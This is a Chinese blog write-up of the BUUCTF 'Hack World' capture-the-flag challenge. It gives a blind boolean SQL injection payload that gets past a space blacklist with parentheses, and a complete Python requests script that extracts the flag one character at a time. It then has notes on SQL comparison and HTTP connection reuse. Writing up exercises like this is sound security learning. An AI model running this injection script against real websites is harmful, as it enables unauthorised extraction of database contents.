buuctf web刷题 [CISCN2019 华北赛区 Day2 Web1]Hack World

f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"
首先绕过黑名单 ()绕过禁用空格
mid理解 eg:id=(select(ascii(mid(flag,num,1))=102)from(flag))
mid切片从1开始,1也对应第一个,第三个参数是数几个。这里是flag字符串从第一个数1个
ascii是sql语法,转ascii数字
= 这里是比较,是sql语法。
ord是python语法,转ascii数字
import requests
import string
url='http://00f55998-dd43-4d8d-ad1e-40686894a4fd.node5.buuoj.cn:81/index.php'
strings = string.digits + string.ascii_letters + '_-{}' 
flag=''
#创建会话对象,复用底层的连接池配置。避免反复创建连接,主机多个端口爆炸,服务器多个连接数爆炸
s = requests.Session()
#猜70位,找完提前终止
for num in range(1,70):
	#找完终止位
	found_char=False
	for i in strings:
		payload=f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"
		post_data = {"id": payload}
		#发送请求出现问题
		try:
			res=s.post(url=url,data=post_data,timeout=1)
		except Exception as e:
			print(f"[-] 请求错误: {e}")
			continue
		#找到了当前位的字符,跳出内层循环
		if 'Hello' in res.text:
			flag+=i
			print(f"第 {num} 位: {i} -> 当前 flag: {flag}")
			found_char = True
			break
	#如果没有找到当前位的字符,跳出外层循环,提前终止
	if found_char==False:
		print("flag找完")
		print(flag)
		break

sql语句=的含义

SET 赋值 (修改数据) UPDATE users SET age=20 ... 把 age 的值 改成 20
WHERE / SELECT 比较 (筛选/判断) SELECT * FROM users WHERE age=20 找出 age 等于 20 的人

sql语句只有=,没有==,==会报错。

但=有两种意思,一个是比较,一个是赋值。在set里是赋值,select和where 后都是比较。

requests的语法post_data =

你的代码逻辑是标准的 Python requests 用法,发送给服务器的数据就是标准的 id=xxx 格式,不需要修改

字典写法 ({"id": payload})

requests 库非常智能,它会自动帮你做两件事:

  1. 拼接字符串:它会把字典里的键值对用 & 连接,变成 id=你的payload 这种格式。

  2. 设置请求头:它会自动把 Content-Type 设置为 application/x-www-form-urlencoded(这是表单提交的标准格式)。

  3. 自动编码:如果你的 payload 里包含特殊字符(比如空格、&= 等),字典写法通常能更安全地处理编码问题,防止格式错乱。

requests.post(url, data=f"id={payload}")
requests.post(url, data={"id": payload})一样的

关于发多个请求,requests报错

谁主动断开,谁进入 TIME_WAIT,谁端口就要被锁住60秒。

requests 库底层使用 urllib3 来管理连接。requests 在幕后依然会为每个域名维护一个默认的连接池(默认最大连接数通常是 10)。

主动断开后,连接池就会释放该连接,允许下一个连接。如果等待时间过长或并发过高,就会抛出 urllib3.exceptions.ConnectionPoolError 或类似的“连接池已满”错误

总结:

Connection: close告诉服务器响应请求后断开,由于是服务端主动断开,服务端处在TIME_WAIT 状态(占用 60 秒),服务端可能存在端口爆满。客户端不存在端口爆满的风险,也不存在连接池超上限10的报错。

但是每次重新建立连接,需要多花时间。

requests.Session()

客户端不存在端口爆满的风险,也不存在连接池超上限10的报错,不需要重新建立连接,直接复用连接。

timeout =1

发生请求建立连接阶段,如果客户端请求连接超过1秒没回应,就会终止,是RST直接断开,而非挥手fin断开。另外会报错,请求超时。

这两个参数都没有,以及没创建session

默认建立连接后,服务器(如 Nginx、Apache)发现连接没断,它启动一个计时器(Keep-Alive 计时器),开始空闲等待你的下一次请求,默认通常是 5秒、15秒 或 75秒,超过时间,服务器就会主动发送 FIN 包(挥手)来断开连接。默认长连接,一下子发10个请求,requests维持的连接池饱满,requests报错。

posted @ 2026-04-08 19:49  preme  阅读(15)  评论(0)    收藏  举报